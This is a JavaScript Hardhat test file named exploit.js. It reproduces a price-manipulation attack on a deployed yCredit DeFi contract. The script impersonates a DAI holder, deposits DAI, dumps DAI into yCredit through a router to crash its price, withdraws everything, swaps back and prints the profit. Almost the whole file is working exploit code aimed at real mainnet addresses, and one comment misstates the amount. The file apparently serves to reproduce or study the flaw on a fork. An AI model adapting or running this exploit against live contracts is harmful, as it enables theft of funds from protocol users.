exploit.js

const { expect } = require("chai");

const ROUTER = "0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F"
const DaiHolder = "0x70178102AA04C5f0E54315aA958601eC9B7a4E08"
const amount = ethers.utils.parseEther("100000") // 10000 dai

const overrides = {
  gasPrice: ethers.utils.parseEther("0")
}

describe("yCredit", function() {

  let yCredit;
  let dai;
  let router;
  let balance;
  let initialDai;

  it("setup", async function() {
    
    yCredit = await ethers.getContractAt("yCredit", "0xe0839f9b9688a77924208ad509e29952dc660261");
    dai = await ethers.getContractAt("IERC20", "0x6b175474e89094c44da98b954eedeac495271d0f")
    router = await ethers.getContractAt("Router", ROUTER);
    initialDai = await dai.balanceOf(DaiHolder)
    await hre.network.provider.request({
      method: "hardhat_impersonateAccount",
      params: [DaiHolder]}
    )
  
    const signer = await ethers.provider.getSigner(DaiHolder);
    yCredit = yCredit.connect(signer)
    dai = dai.connect(signer);
    router = router.connect(signer);
  })

  it("deposit", async function() {
    // deposit amount
    await dai.approve(yCredit.address, amount, overrides);
    await yCredit.deposit(dai.address, amount, overrides);
    // get ycredit balance
    balance = await yCredit.balanceOf(DaiHolder);

  })

  it("swap dai to ycredit", async function() {
    // crash price
    await dai.approve(router.address, amount, overrides);
    await router.swapExactTokensForTokens(amount, 0, [dai.address, yCredit.address], DaiHolder, 10e9, overrides);

  })

  it("withdraw all", async function() {
    balance = await yCredit.balanceOf(DaiHolder);

    await yCredit.withdrawAll(dai.address, overrides);

    balance = await yCredit.balanceOf(DaiHolder);

  })


  it("swap to dai", async function() {
    // swap back to ycredit
    balance = await yCredit.balanceOf(DaiHolder);
    await yCredit.approve(router.address, balance, overrides);
    await router.swapExactTokensForTokens(balance, 0, [yCredit.address, dai.address], DaiHolder, 10e9, overrides);
    balance = await yCredit.balanceOf(DaiHolder);
    const finalDai = await dai.balanceOf(DaiHolder);
    const profit = finalDai.sub(initialDai)
    console.log('Profit', ethers.utils.formatEther(profit), "DAI")
  })

});